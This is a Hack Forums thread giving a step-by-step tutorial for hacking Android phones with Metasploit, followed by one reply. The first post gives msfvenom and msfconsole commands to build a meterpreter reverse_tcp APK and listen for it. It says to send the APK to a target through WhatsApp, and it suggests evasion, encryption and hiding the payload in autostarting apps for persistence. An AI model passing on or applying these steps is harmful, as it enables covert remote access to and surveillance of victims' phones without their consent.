

Forum:[Hack Forums](#)

Thread: [How to hack android with metasploit](#)

amar7652 - August 18, 2024, 11:04 am

In this tutorial we will see how we can simply hack Android device with metasploit

1. See what's your IP address if you're using Vps or ethernet then you could simply use ifconfig command in your Kali Linux terminal to see your IP but if you're using router then you need to go to your router panel or search what's my IP in any browser to see your router's IP and also you have to configure port forwarding in your router and also set up static hostname if you have dynamic use noip services if your router has dynamic IP address

2. After getting your IP use msfvenom that will generate a payload for the Android device. Type command

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=Your IP LPORT=Your Port -o ~/Desktop/example.apk
```

It will generate your malicious apk file in desktop folder

3. Now Launch Metasploit by typing `msfconsole` in the terminal/command prompt.

4. Type this command in metasploit prompt

use multi/handler

5. Now you have to setup payload by the command

set PAYLOAD android/meterpreter/reverse_tcp

6. Now we have to set up connect info by commands

set LHOST your IP

set LPORT your PORT

Remember this step will differ according to your network configuration settings

7. Now to execute our listener and listen for connections type command

exploit

8. Now send the apk to your target by any means like whatsapp etc after the target installs the apk and opens it you will receive the connection

LIMITATIONS OF THIS ATTACK:

1. Google play will easily detect the metasploit payload

2. Payload doesn't work in Xiaomi phones bcz MIUI Restricts the app and it will only work in Xiaomi phones till the app is open but it will work perfectly in POCO OPPO AND SAMSUNG AND CLEAN ANDROID PHONES but the limitation is till the data of these phones will turn off or till reboot the app needs to be opened again to establish another session

3. Payload is old and some functions will not work properly on some devices like camera function you need to modify these functions if you have programming skills

HOW TO OVERCOME THIS LIMITATIONS:

1. You can use different evasion and latest encryption techniques to make it undetectable

2. You can modify the payload to add a background service and autostart service to make it run after reboot apkcloner may help to do it but programming manually is way better or inject the payload into any apk that always runs in background and autostarts after reboot

DramaKing - August 18, 2024, 1:46 pm

Little stream of consciousness here.

Yeah, Meterpreter is plenty old, and it will be quickly killed because it tries to run in the background.

All APKs should be signed.

Background services still need to be exempt from battery optimization to run... most of the time.

The API level may be too old even for sideloading on Android 14+.

Good for learning, but one should quickly move on to just about anything else.